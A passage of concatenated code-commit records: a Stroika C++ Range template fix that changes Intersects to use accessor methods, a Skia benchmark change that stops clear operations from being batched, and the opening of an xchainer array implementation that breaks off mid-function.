TRAITS>::Intersects (const Range<T2, TRAITS2>& rhs) const\n            {\n                if (empty () or rhs.empty ()) {\n                    return false;\n                }\n                T   l   =   max (fBegin_, rhs.fBegin_);\n                T   r   =   min (fEnd_, rhs.fEnd_);\n                if (l < r) {\n                    return true;\n                }\n                else if (l == r) {\n                    \/\/ must check if the end that has 'l' for each Range that that end is closed. Contains()\n                    \/\/ is a shortcut for that\n                    return Contains (l) and rhs.Contains (l);\n                }\n                else {\n                    return false;\n                }\n            }\n            template    <typename T, typename TRAITS>\n            Range<T, TRAITS> Range<T, TRAITS>::Intersection (const Range<T, TRAITS>& rhs) const\n            {\n                if (empty () or rhs.empty ()) {\n                    return Range ();\n                }\n                T   l   =   max (fBegin_, rhs.fBegin_);\n                T   r   =   min (fEnd_, rhs.fEnd_);\n                if (l <= r) {\n                    \/\/ lhs\/rhs ends are closed iff BOTH lhs\/rhs contains that point\n                    Openness lhsO = Contains (l) and rhs.Contains (l) ? Openness::eClosed : Openness::eOpen;\n                    Openness rhsO = Contains (r) and rhs.Contains (r) ? Openness::eClosed : Openness::eOpen;\n                    return Range<T, TRAITS> (l, r, lhsO, rhsO);\n                }\n                else {\n                    return Range ();\n                }\n            }\n            template    <typename T, typename TRAITS>\n            Range<T, TRAITS> Range<T, TRAITS>::UnionBounds (const Range<T, TRAITS>& rhs) const\n            {\n                if (empty ()) {\n                    return rhs;\n                }\n                if (rhs.empty ()) {\n                    return *this;\n                }\n                T   l   =   min (GetLowerBound (), rhs.GetLowerBound ());\n                T   r   =   max (GetUpperBound (), rhs.GetUpperBound ());\n                Range<T, TRAITS>   result;\n                if (l <= r) {\n                    \/\/ lhs\/rhs ends are closed iff BOTH lhs\/rhs contains that point\n                    Openness lhsO = Contains (l) and rhs.Contains (l) ? Openness::eClosed : Openness::eOpen;\n                    Openness rhsO = Contains (r) and rhs.Contains (r) ? Openness::eClosed : Openness::eOpen;\n                    result = Range<T, TRAITS> (l, r, lhsO, rhsO);\n                }\n                Ensure (result.GetLowerBound () <= GetLowerBound ());\n                Ensure (result.GetLowerBound () <= GetUpperBound ());\n                Ensure (result.GetLowerBound () <= rhs.GetLowerBound ());\n                Ensure (result.GetLowerBound () <= rhs.GetUpperBound ());\n                Ensure (result.GetUpperBound () >= GetLowerBound ());\n                Ensure (result.GetUpperBound () >= GetUpperBound ());\n                Ensure (result.GetUpperBound () >= rhs.GetLowerBound ());\n                Ensure (result.GetUpperBound () >= rhs.GetUpperBound ());\n                return result;\n            }\n            template    <typename T, typename TRAITS>\n            inline  constexpr   T    Range<T, TRAITS>::GetLowerBound () const\n            {\n#if     !qCompilerAndStdLib_constexpr_functions_cpp14Constaints_Buggy\n                Require (not empty ());\n#endif\n                return fBegin_;\n            }\n            template    <typename T, typename TRAITS>\n            inline  constexpr   Openness    Range<T, TRAITS>::GetLowerBoundOpenness () const\n            {\n                return fBeginOpenness_;\n            }\n            template    <typename T, typename TRAITS>\n            inline  constexpr   T    Range<T, TRAITS>::GetUpperBound () const\n            {\n#if     !qCompilerAndStdLib_constexpr_functions_cpp14Constaints_Buggy\n                Require (not empty ());\n#endif\n                return fEnd_;\n            }\n            template    <typename T, typename TRAITS>\n            inline  constexpr   Openness    Range<T, TRAITS>::GetUpperBoundOpenness () const\n            {\n                return fEndOpenness_;\n            }\n            template    <typename T, typename TRAITS>\n            template    <typename... ARGS>\n            inline  Characters::String  Range<T, TRAITS>::Format (ARGS&& ... args) const\n            {\n                if (GetLowerBound () == GetUpperBound ()) {\n                    return GetLowerBound ().Format (forward<ARGS> (args)...);\n                }\n                else {\n                    return GetLowerBound ().Format (forward<ARGS> (args)...) + L\" - \" + GetUpperBound  ().Format (forward<ARGS> (args)...);\n                }\n            }\n            template    <typename T, typename TRAITS>\n            inline  bool    Range<T, TRAITS>::operator== (const Range<T, TRAITS>& rhs) const\n            {\n                return Equals (rhs);\n            }\n            template    <typename T, typename TRAITS>\n            inline  bool    Range<T, TRAITS>::operator!= (const Range<T, TRAITS>& rhs) const\n            {\n                return not Equals (rhs);\n            }\n\n\n        }\n    }\n}\n#endif \/* _Stroika_Foundation_Traversal_Range_inl_ *\/\n<commit_msg>fixed bug with Range() CTOR - from other template - accesses other type, so must use accessor<commit_after>\/*\n * Copyright(c) Sophist Solutions, Inc. 1990-2014.  All rights reserved\n *\/\n#ifndef _Stroika_Foundation_Traversal_Range_inl_\n#define _Stroika_Foundation_Traversal_Range_inl_\n\n#include    \"..\/Debug\/Assertions.h\"\n#include    \"..\/Math\/Overlap.h\"\n\n\nnamespace   Stroika {\n    namespace   Foundation {\n        namespace   Traversal {\n\n\n            \/*\n             ********************************************************************************\n             RangeTraits::ExplicitRangeTraits_Integral<T, MIN, MAX, LOWER_BOUND_OPEN, UPPER_BOUND_OPEN, SIGNED_DIFF_TYPE, UNSIGNED_DIFF_TYPE>\n             ********************************************************************************\n             *\/\n#if     qCompilerAndStdLib_constexpr_StaticDataMember_Buggy\n            template    <typename T, T MIN, T MAX , Openness LOWER_BOUND_OPEN, Openness UPPER_BOUND_OPEN, typename SIGNED_DIFF_TYPE, typename UNSIGNED_DIFF_TYPE>\n            const T RangeTraits::ExplicitRangeTraits_Integral<T, MIN, MAX, LOWER_BOUND_OPEN, UPPER_BOUND_OPEN, SIGNED_DIFF_TYPE, UNSIGNED_DIFF_TYPE>::kLowerBound   =   MIN;\n            template    <typename T, T MIN, T MAX , Openness LOWER_BOUND_OPEN, Openness UPPER_BOUND_OPEN, typename SIGNED_DIFF_TYPE, typename UNSIGNED_DIFF_TYPE>\n            const T RangeTraits::ExplicitRangeTraits_Integral<T, MIN, MAX, LOWER_BOUND_OPEN, UPPER_BOUND_OPEN, SIGNED_DIFF_TYPE, UNSIGNED_DIFF_TYPE>::kUpperBound   =   MAX;\n#endif\n\n\n            \/*\n             ********************************************************************************\n             ****************** RangeTraits::DefaultRangeTraits<T> **************************\n             ********************************************************************************\n             *\/\n#if     qCompilerAndStdLib_constexpr_StaticDataMember_Buggy\n            template    <typename T>\n            const T RangeTraits::DefaultRangeTraits<T>::kLowerBound   =   numeric_limits<T>::lowest ();\n            template    <typename T>\n            const T RangeTraits::DefaultRangeTraits<T>::kUpperBound   =   numeric_limits<T>::max ();\n#endif\n\n\n            \/*\n             ********************************************************************************\n             ***************************** Range<T, TRAITS> *********************************\n             ********************************************************************************\n             *\/\n            template    <typename T, typename TRAITS>\n#if     !qCompilerAndStdLib_constexpr_Buggy\n            constexpr\n#endif\n            inline  Range<T, TRAITS>::Range ()\n                : Range (TRAITS::kLowerBoundOpenness, TRAITS::kUpperBoundOpenness)\n            {\n#if     !qCompilerAndStdLib_constexpr_functions_cpp14Constaints_Buggy\n                Ensure (empty ());\n#endif\n            }\n            template    <typename T, typename TRAITS>\n            template    <typename T2, typename TRAITS2>\n#if     !qCompilerAndStdLib_constexpr_Buggy\n            constexpr\n#endif\n            inline  Range<T, TRAITS>::Range (const Range<T2, TRAITS>& src)\n                : Range (src.GetLowerBound (), src.GetUpperBound (), src.GetLowerBoundOpenness (), src.GetUpperBoundOpenness ())\n            {\n            }\n            template    <typename T, typename TRAITS>\n#if     !qCompilerAndStdLib_constexpr_Buggy\n            constexpr\n#endif\n            inline  Range<T, TRAITS>::Range (const T& begin, const T& end)\n                : Range (begin, end, TRAITS::kLowerBoundOpenness, TRAITS::kUpperBoundOpenness)\n            {\n            }\n            template    <typename T, typename TRAITS>\n            inline  Range<T, TRAITS>::Range (const Memory::Optional<T>& begin, const Memory::Optional<T>& end)\n                : Range (begin.IsPresent () ? *begin : TRAITS::kLowerBound, end.IsPresent () ? *end : TRAITS::kUpperBound, TRAITS::kLowerBoundOpenness, TRAITS::kUpperBoundOpenness)\n            {\n            }\n            template    <typename T, typename TRAITS>\n#if     !qCompilerAndStdLib_constexpr_Buggy\n            constexpr\n#endif\n            inline  Range<T, TRAITS>::Range (Openness lhsOpen, Openness rhsOpen)\n                : fBegin_ (TRAITS::kUpperBound)\n                , fEnd_ (TRAITS::kLowerBound)\n                , fBeginOpenness_ (lhsOpen)\n                , fEndOpenness_ (rhsOpen)\n            {\n#if     !qCompilerAndStdLib_constexpr_functions_cpp14Constaints_Buggy\n                Ensure (empty ());\n#endif\n            }\n            template    <typename T, typename TRAITS>\n#if     !qCompilerAndStdLib_constexpr_Buggy\n            constexpr\n#endif\n            inline  Range<T, TRAITS>::Range (const T& begin, const T& end, Openness lhsOpen, Openness rhsOpen)\n                : fBegin_ (begin)\n                , fEnd_ (end)\n                , fBeginOpenness_ (lhsOpen)\n                , fEndOpenness_ (rhsOpen)\n            {\n#if     !qCompilerAndStdLib_constexpr_functions_cpp14Constaints_Buggy\n                Require  (TRAITS::kLowerBound <= TRAITS::kUpperBound);    \/\/ always required for class\n                Require (TRAITS::kLowerBound <= begin);\n                Require (begin <= end);\n                Require (end <= TRAITS::kUpperBound);\n#endif\n            }\n            template    <typename T, typename TRAITS>\n            inline  Range<T, TRAITS>::Range (const Memory::Optional<T>& begin, const Memory::Optional<T>& end, Openness lhsOpen, Openness rhsOpen)\n                : Range (begin.IsPresent () ? *begin : TRAITS::kLowerBound, end.IsPresent () ? *end : TRAITS::kUpperBound, lhsOpen, rhsOpen)\n            {\n            }\n            template    <typename T, typename TRAITS>\n            inline  constexpr   Range<T, TRAITS>    Range<T, TRAITS>::FullRange ()\n            {\n                return Range<T, TRAITS> (\n                           TraitsType::kLowerBound, TraitsType::kUpperBound,\n                           TraitsType::kLowerBoundOpenness, TraitsType::kUpperBoundOpenness\n                       );\n            }\n            template    <typename T, typename TRAITS>\n            inline  constexpr   bool    Range<T, TRAITS>::empty () const\n            {\n#if     qCompilerAndStdLib_constexpr_functions_cpp14Constaints_Buggy\n                return\n                    fBegin_ > fEnd_ ?\n                    true :\n                    ((fBegin_ == fEnd_) ?\n                     (fBeginOpenness_ == Openness::eOpen and fEndOpenness_ == Openness::eOpen) :\n                     false\n                    )\n                    ;\n#else\n                if (fBegin_ > fEnd_) {\n                    \/\/ internal hack done in Range<T, TRAITS>::Range() - empty range - otherwise not possible to create this situation\n                    return true;\n                }\n                else if (fBegin_ == fEnd_) {\n                    return fBeginOpenness_ == Openness::eOpen and fEndOpenness_ == Openness::eOpen;\n                }\n                return false;\n#endif\n            }\n            template    <typename T, typename TRAITS>\n            inline  constexpr   typename Range<T, TRAITS>::UnsignedDifferenceType    Range<T, TRAITS>::GetDistanceSpanned () const\n            {\n#if     qCompilerAndStdLib_constexpr_functions_cpp14Constaints_Buggy\n                return\n                    empty () ?\n                    static_cast<UnsignedDifferenceType> (0) :\n                    (fEnd_ - fBegin_)\n                    ;\n#else\n                if (empty ()) {\n                    return static_cast<UnsignedDifferenceType> (0);\n                }\n                return fEnd_ - fBegin_;\n#endif\n            }\n            template    <typename T, typename TRAITS>\n            inline  constexpr   T    Range<T, TRAITS>::GetMidpoint () const\n            {\n#if     !qCompilerAndStdLib_constexpr_functions_cpp14Constaints_Buggy\n                Require (not empty ());\n#endif\n                return GetLowerBound () + GetDistanceSpanned () \/ 2;\n            }\n            template    <typename T, typename TRAITS>\n            inline  constexpr   bool    Range<T, TRAITS>::Contains (const T& r) const\n            {\n#if     qCompilerAndStdLib_constexpr_functions_cpp14Constaints_Buggy\n                return\n                    empty () ?\n                    false :\n                    (\n                        (fBegin_ < r and r < fEnd_) or\n                        (fBeginOpenness_ == Openness::eClosed and r == fBegin_) or\n                        (fEndOpenness_ == Openness::eClosed and r == fEnd_)\n                    )\n                    ;\n#else\n                if (empty ()) {\n                    return false;\n                }\n                if (fBegin_ < r and r < fEnd_) {\n                    return true;\n                }\n                if (fBeginOpenness_ == Openness::eClosed and r == fBegin_) {\n                    return true;\n                }\n                if (fEndOpenness_ == Openness::eClosed and r == fEnd_) {\n                    return true;\n                }\n                return false;\n#endif\n            }\n            template    <typename T, typename TRAITS>\n            template    <typename T2, typename TRAITS2>\n            inline  bool    Range<T, TRAITS>::Equals (const Range<T2, TRAITS2>& rhs) const\n            {\n                if (empty ()) {\n                    return rhs.empty ();\n                }\n                return fBegin_ == rhs.fBegin_ and fEnd_ == rhs.fEnd_ and fBeginOpenness_ == rhs.fBeginOpenness_ and fBeginOpenness_ == rhs.fBeginOpenness_;\n            }\n#if 0\n            template    <typename T, typename TRAITS>\n            bool    Range<T, TRAITS>::Overlaps (const Range<T, TRAITS>& rhs) const\n            {\n                \/*\n                 *  @todo   RETHINK - because Range has semantics of exclude end - make sure overlap usuage\n                 *          here is correct??? Unsure -- LGP 2013-07-05\n                 *\/\n                return Math::Overlaps (\n                           pair<T, T> (fBegin_, fEnd_),\n                           pair<T, T> (rhs.fBegin_, rhs.fEnd_)\n                       );\n            }\n#endif\n            template    <typename T, typename TRAITS>\n            template    <typename T2, typename TRAITS2>\n            bool    Range<T, TRAITS>::Intersects (const Range<T2, TRAITS2>& rhs) const\n            {\n                if (empty () or rhs.empty ()) {\n                    return false;\n                }\n                T   l   =   max (fBegin_, rhs.GetLowerBound ());\n                T   r   =   min (fEnd_, rhs.GetUpperBound ());\n                if (l < r) {\n                    return true;\n                }\n                else if (l == r) {\n                    \/\/ must check if the end that has 'l' for each Range that that end is closed. Contains()\n                    \/\/ is a shortcut for that\n                    return Contains (l) and rhs.Contains (l);\n                }\n                else {\n                    return false;\n                }\n            }\n            template    <typename T, typename TRAITS>\n            Range<T, TRAITS> Range<T, TRAITS>::Intersection (const Range<T, TRAITS>& rhs) const\n            {\n                if (empty () or rhs.empty ()) {\n                    return Range ();\n                }\n                T   l   =   max (fBegin_, rhs.fBegin_);\n                T   r   =   min (fEnd_, rhs.fEnd_);\n                if (l <= r) {\n                    \/\/ lhs\/rhs ends are closed iff BOTH lhs\/rhs contains that point\n                    Openness lhsO = Contains (l) and rhs.Contains (l) ? Openness::eClosed : Openness::eOpen;\n                    Openness rhsO = Contains (r) and rhs.Contains (r) ? Openness::eClosed : Openness::eOpen;\n                    return Range<T, TRAITS> (l, r, lhsO, rhsO);\n                }\n                else {\n                    return Range ();\n                }\n            }\n            template    <typename T, typename TRAITS>\n            Range<T, TRAITS> Range<T, TRAITS>::UnionBounds (const Range<T, TRAITS>& rhs) const\n            {\n                if (empty ()) {\n                    return rhs;\n                }\n                if (rhs.empty ()) {\n                    return *this;\n                }\n                T   l   =   min (GetLowerBound (), rhs.GetLowerBound ());\n                T   r   =   max (GetUpperBound (), rhs.GetUpperBound ());\n                Range<T, TRAITS>   result;\n                if (l <= r) {\n                    \/\/ lhs\/rhs ends are closed iff BOTH lhs\/rhs contains that point\n                    Openness lhsO = Contains (l) and rhs.Contains (l) ? Openness::eClosed : Openness::eOpen;\n                    Openness rhsO = Contains (r) and rhs.Contains (r) ? Openness::eClosed : Openness::eOpen;\n                    result = Range<T, TRAITS> (l, r, lhsO, rhsO);\n                }\n                Ensure (result.GetLowerBound () <= GetLowerBound ());\n                Ensure (result.GetLowerBound () <= GetUpperBound ());\n                Ensure (result.GetLowerBound () <= rhs.GetLowerBound ());\n                Ensure (result.GetLowerBound () <= rhs.GetUpperBound ());\n                Ensure (result.GetUpperBound () >= GetLowerBound ());\n                Ensure (result.GetUpperBound () >= GetUpperBound ());\n                Ensure (result.GetUpperBound () >= rhs.GetLowerBound ());\n                Ensure (result.GetUpperBound () >= rhs.GetUpperBound ());\n                return result;\n            }\n            template    <typename T, typename TRAITS>\n            inline  constexpr   T    Range<T, TRAITS>::GetLowerBound () const\n            {\n#if     !qCompilerAndStdLib_constexpr_functions_cpp14Constaints_Buggy\n                Require (not empty ());\n#endif\n                return fBegin_;\n            }\n            template    <typename T, typename TRAITS>\n            inline  constexpr   Openness    Range<T, TRAITS>::GetLowerBoundOpenness () const\n            {\n                return fBeginOpenness_;\n            }\n            template    <typename T, typename TRAITS>\n            inline  constexpr   T    Range<T, TRAITS>::GetUpperBound () const\n            {\n#if     !qCompilerAndStdLib_constexpr_functions_cpp14Constaints_Buggy\n                Require (not empty ());\n#endif\n                return fEnd_;\n            }\n            template    <typename T, typename TRAITS>\n            inline  constexpr   Openness    Range<T, TRAITS>::GetUpperBoundOpenness () const\n            {\n                return fEndOpenness_;\n            }\n            template    <typename T, typename TRAITS>\n            template    <typename... ARGS>\n            inline  Characters::String  Range<T, TRAITS>::Format (ARGS&& ... args) const\n            {\n                if (GetLowerBound () == GetUpperBound ()) {\n                    return GetLowerBound ().Format (forward<ARGS> (args)...);\n                }\n                else {\n                    return GetLowerBound ().Format (forward<ARGS> (args)...) + L\" - \" + GetUpperBound  ().Format (forward<ARGS> (args)...);\n                }\n            }\n            template    <typename T, typename TRAITS>\n            inline  bool    Range<T, TRAITS>::operator== (const Range<T, TRAITS>& rhs) const\n            {\n                return Equals (rhs);\n            }\n            template    <typename T, typename TRAITS>\n            inline  bool    Range<T, TRAITS>::operator!= (const Range<T, TRAITS>& rhs) const\n            {\n                return not Equals (rhs);\n            }\n\n\n        }\n    }\n}\n#endif \/* _Stroika_Foundation_Traversal_Range_inl_ *\/\n<|endoftext|>"}
{"text":"<commit_before>\/*\n * Copyright 2018 Google Inc.\n *\n * Use of this source code is governed by a BSD-style license that can be\n * found in the LICENSE file.\n *\/\n\n\/\/ This benchmark attempts to measure the time to do a fullscreen clear, an axis-aligned partial\n\/\/ clear, and a clear restricted to an axis-aligned rounded rect. The fullscreen and axis-aligned\n\/\/ partial clears on the GPU should follow a fast path that maps to backend-specialized clear\n\/\/ operations, whereas the rounded-rect clear cannot be.\n\n#include \"Benchmark.h\"\n#include \"SkCanvas.h\"\n#include \"SkPaint.h\"\n#include \"SkRect.h\"\n#include \"SkRRect.h\"\n\nclass ClearBench : public Benchmark {\npublic:\n    enum ClearType {\n        kFull_ClearType,\n        kPartial_ClearType,\n        kComplex_ClearType\n    };\n\n    ClearBench(ClearType type) : fType(type) {}\n\nprotected:\n    const char* onGetName() override {\n        switch(fType) {\n        case kFull_ClearType:\n            return \"Clear-Full\";\n        case kPartial_ClearType:\n            return \"Clear-Partial\";\n        case kComplex_ClearType:\n            return \"Clear-Complex\";\n        }\n        SkASSERT(false);\n        return \"Unreachable\";\n    }\n\n    void onDraw(int loops, SkCanvas* canvas) override {\n        const SkColor color = SK_ColorBLUE;\n        const SkRect partialClip = SkRect::MakeLTRB(50, 50, 400, 400);\n        const SkRRect complexClip = SkRRect::MakeRectXY(partialClip, 15, 15);\n\n        \/\/ TODO (michaelludwig): Any benefit to changing the clip geometry?\n        for (int i = 0; i < loops; i++) {\n            canvas->save();\n            switch(fType) {\n                case kPartial_ClearType:\n                    canvas->clipRect(partialClip);\n                    break;\n                case kComplex_ClearType:\n                    canvas->clipRRect(complexClip);\n                    break;\n                case kFull_ClearType:\n                    \/\/ Don't add any extra clipping, since it defaults to the entire \"device\"\n                    break;\n            }\n\n            canvas->clear(color);\n            canvas->restore();\n        }\n    }\n\nprivate:\n    ClearType fType;\n};\n\nDEF_BENCH( return new ClearBench(ClearBench::kFull_ClearType); )\nDEF_BENCH( return new ClearBench(ClearBench::kPartial_ClearType); )\nDEF_BENCH( return new ClearBench(ClearBench::kComplex_ClearType); )\n<commit_msg>Prevent op batching in clear benchmark<commit_after>\/*\n * Copyright 2018 Google Inc.\n *\n * Use of this source code is governed by a BSD-style license that can be\n * found in the LICENSE file.\n *\/\n\n\/\/ This benchmark attempts to measure the time to do a fullscreen clear, an axis-aligned partial\n\/\/ clear, and a clear restricted to an axis-aligned rounded rect. The fullscreen and axis-aligned\n\/\/ partial clears on the GPU should follow a fast path that maps to backend-specialized clear\n\/\/ operations, whereas the rounded-rect clear cannot be.\n\n#include \"Benchmark.h\"\n\n#include \"SkCanvas.h\"\n#include \"SkGradientShader.h\"\n#include \"SkPaint.h\"\n#include \"SkRect.h\"\n#include \"SkRRect.h\"\n\n#include \"GrRenderTargetContext.h\"\n\nstatic sk_sp<SkShader> make_shader() {\n    static const SkPoint kPts[] = {{0, 0}, {10, 10}};\n    static const SkColor kColors[] = {SK_ColorBLUE, SK_ColorWHITE};\n    return SkGradientShader::MakeLinear(kPts, kColors, nullptr, 2, SkShader::kClamp_TileMode);\n}\n\nclass ClearBench : public Benchmark {\npublic:\n    enum ClearType {\n        kFull_ClearType,\n        kPartial_ClearType,\n        kComplex_ClearType\n    };\n\n    ClearBench(ClearType type) : fType(type) {}\n\nprotected:\n    const char* onGetName() override {\n        switch(fType) {\n        case kFull_ClearType:\n            return \"Clear-Full\";\n        case kPartial_ClearType:\n            return \"Clear-Partial\";\n        case kComplex_ClearType:\n            return \"Clear-Complex\";\n        }\n        SkASSERT(false);\n        return \"Unreachable\";\n    }\n\n    void onDraw(int loops, SkCanvas* canvas) override {\n        static const SkRect kPartialClip = SkRect::MakeLTRB(50, 50, 400, 400);\n        static const SkRRect kComplexClip = SkRRect::MakeRectXY(kPartialClip, 15, 15);\n        \/\/ Small to limit fill cost, but intersects the clips to confound batching\n        static const SkRect kInterruptRect = SkRect::MakeXYWH(200, 200, 3, 3);\n\n        \/\/ For the draw that sits between consecutive clears, use a shader that is simple but\n        \/\/ requires local coordinates so that Ganesh does not convert it into a solid color rect,\n        \/\/ which could then turn into a scissored-clear behind the scenes.\n        SkPaint interruptPaint;\n        interruptPaint.setShader(make_shader());\n\n        GrRenderTargetContext* rtc = canvas->internal_private_accessTopLayerRenderTargetContext();\n        if (rtc) {\n            \/\/ Tricks the GrRenderTargetOpList into thinking it cannot reset its draw op list on\n            \/\/ a fullscreen clear. If we don't do this, fullscreen clear ops would be created and\n            \/\/ constantly discard the previous iteration's op so execution would only invoke one\n            \/\/ actual clear on the GPU (not what we want to measure).\n            rtc->setNeedsStencil();\n        }\n\n        for (int i = 0; i < loops; i++) {\n            canvas->save();\n            switch(fType) {\n                case kPartial_ClearType:\n                    canvas->clipRect(kPartialClip);\n                    break;\n                case kComplex_ClearType:\n                    canvas->clipRRect(kComplexClip);\n                    break;\n                case kFull_ClearType:\n                    \/\/ Don't add any extra clipping, since it defaults to the entire \"device\"\n                    break;\n            }\n\n            \/\/ The clear we care about measuring\n            canvas->clear(SK_ColorBLUE);\n            canvas->restore();\n\n            \/\/ Perform as minimal a draw as possible that intersects with the clear region in\n            \/\/ order to prevent the clear ops from being batched together.\n            canvas->drawRect(kInterruptRect, interruptPaint);\n        }\n    }\n\nprivate:\n    ClearType fType;\n};\n\nDEF_BENCH( return new ClearBench(ClearBench::kFull_ClearType); )\nDEF_BENCH( return new ClearBench(ClearBench::kPartial_ClearType); )\nDEF_BENCH( return new ClearBench(ClearBench::kComplex_ClearType); )\n<|endoftext|>"}
{"text":"<commit_before>#include \"xchainer\/array.h\"\n\n#include <algorithm>\n#include <cassert>\n#include <cstring>\n#include <string>\n#include <unordered_map>\n\n#ifdef XCHAINER_ENABLE_CUDA\n#include <cuda.h>\n#include <cuda_runtime.h>\n#endif  \/\/ XCHAINER_ENABLE_CUDA\n#include <gsl\/gsl>\n\n#include \"xchainer\/array_fill.h\"\n#include \"xchainer\/array_math.h\"\n#include \"xchainer\/array_repr.h\"\n#ifdef XCHAINER_ENABLE_CUDA\n#include \"xchainer\/cuda\/array_fill.h\"\n#include \"xchainer\/cuda\/array_math.h\"\n#include \"xchainer\/cuda\/cuda_runtime.h\"\n#endif  \/\/ XCHAINER_ENABLE_CUDA\n#include \"xchainer\/device.h\"\n#include \"xchainer\/error.h\"\n#include \"xchainer\/memory.h\"\n#include \"xchainer\/op_node.h\"\n#include \"xchainer\/scalar.h\"\n\nnamespace xchainer {\nnamespace internal {\n\n\/\/ Private definition of ArrayBody\nArrayBody::ArrayBody(const Shape& shape, Dtype dtype, bool is_contiguous, std::shared_ptr<void> data, int64_t offset,\n                     std::vector<std::shared_ptr<ArrayNode>> nodes)\n    : shape_(shape), dtype_(dtype), is_contiguous_(is_contiguous), data_(std::move(data)), offset_(offset), nodes_(std::move(nodes)) {}\n\nbool ArrayBody::HasNode(const GraphId& graph_id) const {\n    return std::find_if(nodes_.begin(), nodes_.end(), [&graph_id](const auto& node) { return graph_id == node->graph_id(); }) !=\n           nodes_.end();\n}\n\nstd::shared_ptr<const ArrayNode> ArrayBody::GetNode(const GraphId& graph_id) const { return GetMutableNode(graph_id); }\n\nconst std::shared_ptr<ArrayNode>& ArrayBody::GetMutableNode(const GraphId& graph_id) const {\n    auto it = std::find_if(nodes_.begin(), nodes_.end(), [&graph_id](const auto& node) { return graph_id == node->graph_id(); });\n    if (it == nodes_.end()) {\n        throw XchainerError(\"Cannot find ArrayNode for graph: \" + graph_id);\n    }\n    return *it;\n}\n\nconst std::shared_ptr<ArrayNode>& ArrayBody::CreateNode(const GraphId& graph_id) {\n    if (HasNode(graph_id)) {\n        throw XchainerError(\"Duplicate graph registration: \" + graph_id);\n    }\n    nodes_.emplace_back(std::make_shared<ArrayNode>(graph_id));\n    return nodes_.back();\n}\n\nvoid SetUpOpNodes(const std::string& name, const std::vector<std::reference_wrapper<const Array>>& inputs, Array& out,\n                  const std::vector<std::function<Array(const Array&)>>& backward_functions) {\n    if (inputs.size() != backward_functions.size()) {\n        throw XchainerError(\"Cannot construct a graph where numbers of input Arrays and backward functions do not match.\");\n    }\n\n    std::unordered_map<GraphId, std::shared_ptr<OpNode>> graph_edges;\n\n    \/\/ Helper function to create an edge in the graph\n    auto create_edge = [&name, &graph_edges](const std::shared_ptr<ArrayNode>& next_node, auto& backward_function) {\n        std::shared_ptr<OpNode>& op_node = graph_edges[next_node->graph_id()];  \/\/ Create if not exists\n        if (!op_node) {\n            op_node = std::make_shared<OpNode>(name);\n        }\n        op_node->set_rank(std::max(op_node->rank(), next_node->rank()));\n        op_node->RegisterNextNode(next_node, backward_function);\n    };\n\n    for (size_t i = 0; i < inputs.size(); ++i) {                                  \/\/ For each input\n        for (const std::shared_ptr<ArrayNode>& node : inputs[i].get().nodes()) {  \/\/ For each graph, create an edge\n            create_edge(node, backward_functions[i]);\n        }\n    }\n\n    if (!graph_edges.empty() && std::any_of(inputs.begin(), inputs.end(), [&out](const Array& input) { return &out == &input; })) {\n        throw XchainerError(\"In-place operation (\" + name + \") is not supported for an array that require gradients.\");\n    }\n\n    \/\/ Bind edges to output\n    for (const auto& edge : graph_edges) {\n        const GraphId& graph_id = edge.first;\n        const std::shared_ptr<OpNode>& op_node = edge.second;\n\n        const std::shared_ptr<ArrayNode>& out_node = out.body()->CreateNode(graph_id);\n        out_node->set_next_node(op_node);\n        out_node->set_rank(op_node->rank() + 1);\n    }\n}\n\n}  \/\/ namespace internal\n\nArray::Array(const Shape& shape, Dtype dtype, std::shared_ptr<void> data, bool is_contiguous, int64_t offset)\n    : body_(std::make_shared<internal::ArrayBody>(shape, dtype, is_contiguous, std::move(data), offset)) {}\n\nArray::Array(const Array& other)\n    : body_(std::make_shared<internal::ArrayBody>(other.shape(), other.dtype(), other.is_contiguous(), other.body_->data_, other.offset(),\n                                                  other.body_->nodes_)) {}\n\nconst nonstd::optional<Array>& Array::GetGrad(const GraphId& graph_id) const { return body_->GetNode(graph_id)->grad(); }\n\nvoid Array::SetGrad(Array grad, const GraphId& graph_id) { body_->GetMutableNode(graph_id)->set_grad(std::move(grad)); }\n\nvoid Array::ClearGrad(const GraphId& graph_id) { body_->GetMutableNode(graph_id)->ClearGrad(); }\n\nArray Array::FromBuffer(const Shape& shape, Dtype dtype, std::shared_ptr<void> data) {\n    auto bytesize = static_cast<size_t>(shape.total_size() * GetElementSize(dtype));\n    std::shared_ptr<void> device_data = internal::MemoryFromBuffer(GetCurrentDevice(), data, bytesize);\n    return {shape, dtype, device_data};\n}\n\nArray Array::Empty(const Shape& shape, Dtype dtype) {\n    auto bytesize = static_cast<size_t>(shape.total_size() * GetElementSize(dtype));\n    std::shared_ptr<void> data = internal::Allocate(GetCurrentDevice(), bytesize);\n    return {shape, dtype, data};\n}\n\nArray Array::Full(const Shape& shape, Scalar scalar, Dtype dtype) {\n    Array array = Empty(shape, dtype);\n    array.Fill(scalar);\n    return array;\n}\n\nArray Array::Full(const Shape& shape, Scalar scalar) { return Full(shape, scalar, scalar.dtype()); }\n\nArray Array::Zeros(const Shape& shape, Dtype dtype) { return Full(shape, 0, dtype); }\n\nArray Array::Ones(const Shape& shape, Dtype dtype) { return Full(shape, 1, dtype); }\n\nArray Array::EmptyLike(const Array& array) { return Empty(array.shape(), array.dtype()); }\n\nArray Array::FullLike(const Array& array, Scalar scalar) { return Full(array.shape(), scalar, array.dtype()); }\n\nArray Array::ZerosLike(const Array& array) { return Zeros(array.shape(), array.dtype()); }\n\nArray Array::OnesLike(const Array& array) { return Ones(array.shape(), array.dtype()); }\n\nArray& Array::operator+=(const Array& rhs) {\n    Add(rhs, *this);\n    return *this;\n}\n\nArray& Array::operator*=(const Array& rhs) {\n    Mul(rhs, *this);\n    return *this;\n}\n\nArray Array::operator+(const Array& rhs) const {\n    Array out = Array::EmptyLike(*this);\n    Add(rhs, out);\n    return out;\n}\n\nArray Array::operator*(const Array& rhs) const {\n    Array out = Array::EmptyLike(*this);\n    Mul(rhs, out);\n    return out;\n}\n\nArray Array::Copy() const {\n    Array out = Array::EmptyLike(*this);\n    CopyTo(out);\n    return out;\n}\n\nvoid Array::CopyTo(Array& out) const {\n    internal::SetUpOpNodes(\"copy\", {*this}, out, {[](const Array& gout) { return gout; }});\n\n    \/\/ TODO(hvy): When non-C-contiguous orders are supported, we cannot blindly copy all elements but need to take\n    \/\/ is_contiguous_ and offset_ into account\n    internal::MemoryCopy(out.data().get(), body_->data_.get(), total_bytes());\n}\n\nArray Array::AsConstant(CopyKind kind) const {\n    std::vector<GraphId> graph_ids;\n    for (const std::shared_ptr<ArrayNode>& node : nodes()) {\n        graph_ids.emplace_back(node->graph_id());\n    }\n    return AsConstant(kind, graph_ids);\n}\n\nArray Array::AsConstant(CopyKind kind, const std::vector<GraphId>& 